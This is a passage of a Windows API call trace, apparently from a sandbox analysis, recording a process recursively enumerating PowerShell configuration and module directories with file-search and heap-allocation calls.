RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0268.676] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\WindowsPowerShell\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65c04f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0268.677] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65c04f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.677] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65c737, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Configuration", cAlternateFileName="CONFIG~1")) returned 1 [0268.677] GetProcessHeap () returned 0xc10000 [0268.677] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0268.677] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\WindowsPowerShell\\Configuration\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65c737, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0268.678] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65c737, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.678] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65d0bb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Registration", cAlternateFileName="REGIST~1")) returned 1 [0268.678] GetProcessHeap () returned 0xc10000 [0268.678] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0268.679] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\WindowsPowerShell\\Configuration\\Registration\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65d0bb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0268.679] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65d0bb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.679] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65d0bb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0268.680] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0268.680] GetProcessHeap () returned 0xc10000 [0268.680] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0268.680] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65d9d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Schema", cAlternateFileName="")) returned 1 [0268.680] GetProcessHeap () returned 0xc10000 [0268.680] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0268.680] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\WindowsPowerShell\\Configuration\\Schema\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65d9d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0268.681] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65d9d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.681] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65d9d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0268.681] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0268.681] GetProcessHeap () returned 0xc10000 [0268.681] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0268.681] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65d9d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Schema", cAlternateFileName="")) returned 0 [0268.681] FindClose (in: hFindFile=0x33e4828 | out: hFindFile=0x33e4828) returned 1 [0268.681] GetProcessHeap () returned 0xc10000 [0268.681] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0268.682] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65e250, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Modules", cAlternateFileName="")) returned 1 [0268.683] GetProcessHeap () returned 0xc10000 [0268.683] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0268.683] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65e250, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0268.686] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65e250, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.686] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65e8f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Operation.Validation", cAlternateFileName="MICROS~1.VAL")) returned 1 [0268.686] GetProcessHeap () returned 0xc10000 [0268.686] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0268.687] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65e8f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0268.688] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65e8f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.688] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70c3d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a75a324, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 1 [0268.688] GetProcessHeap () returned 0xc10000 [0268.688] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0268.689] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70c3d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a75a324, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0268.928] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70c3d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a75a324, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.928] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70cbfc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 1 [0268.929] GetProcessHeap () returned 0xc10000 [0268.929] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0268.929] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70cbfc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d28 [0268.930] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70cbfc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.930] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70d5fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Comprehensive", cAlternateFileName="COMPRE~1")) returned 1 [0268.930] GetProcessHeap () returned 0xc10000 [0268.930] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8f78 [0268.931] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics\\Comprehensive\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70d5fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0268.931] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70d5fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.931] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Comprehensive.Tests.ps1", cAlternateFileName="")) returned 1 [0268.931] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Comprehensive.Tests.ps1", cAlternateFileName="")) returned 0 [0268.931] FindClose (in: hFindFile=0x33e4e28 | out: hFindFile=0x33e4e28) returned 1 [0268.932] GetProcessHeap () returned 0xc10000 [0268.932] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8f78 | out: hHeap=0xc10000) returned 1 [0268.932] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70dd67, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 1 [0268.932] GetProcessHeap () returned 0xc10000 [0268.932] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8f78 [0268.932] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics\\Simple\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70dd67, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0268.933] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70dd67, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.933] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple.Tests.ps1", cAlternateFileName="")) returned 1 [0268.933] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple.Tests.ps1", cAlternateFileName="")) returned 0 [0268.933] FindClose (in: hFindFile=0x33e4e28 | out: hFindFile=0x33e4e28) returned 1 [0268.933] GetProcessHeap () returned 0xc10000 [0268.933] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8f78 | out: hHeap=0xc10000) returned 1 [0268.933] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70dd67, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0 [0268.933] FindClose (in: hFindFile=0x33e4d28 | out: hFindFile=0x33e4d28) returned 1 [0268.933] GetProcessHeap () returned 0xc10000 [0268.934] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0268.934] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Operation.Validation.Format.ps1xml", cAlternateFileName="")) returned 1 [0268.934] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x614, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Operation.Validation.psd1", cAlternateFileName="")) returned 1 [0268.934] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97dbed8e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97dbed8e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3016, 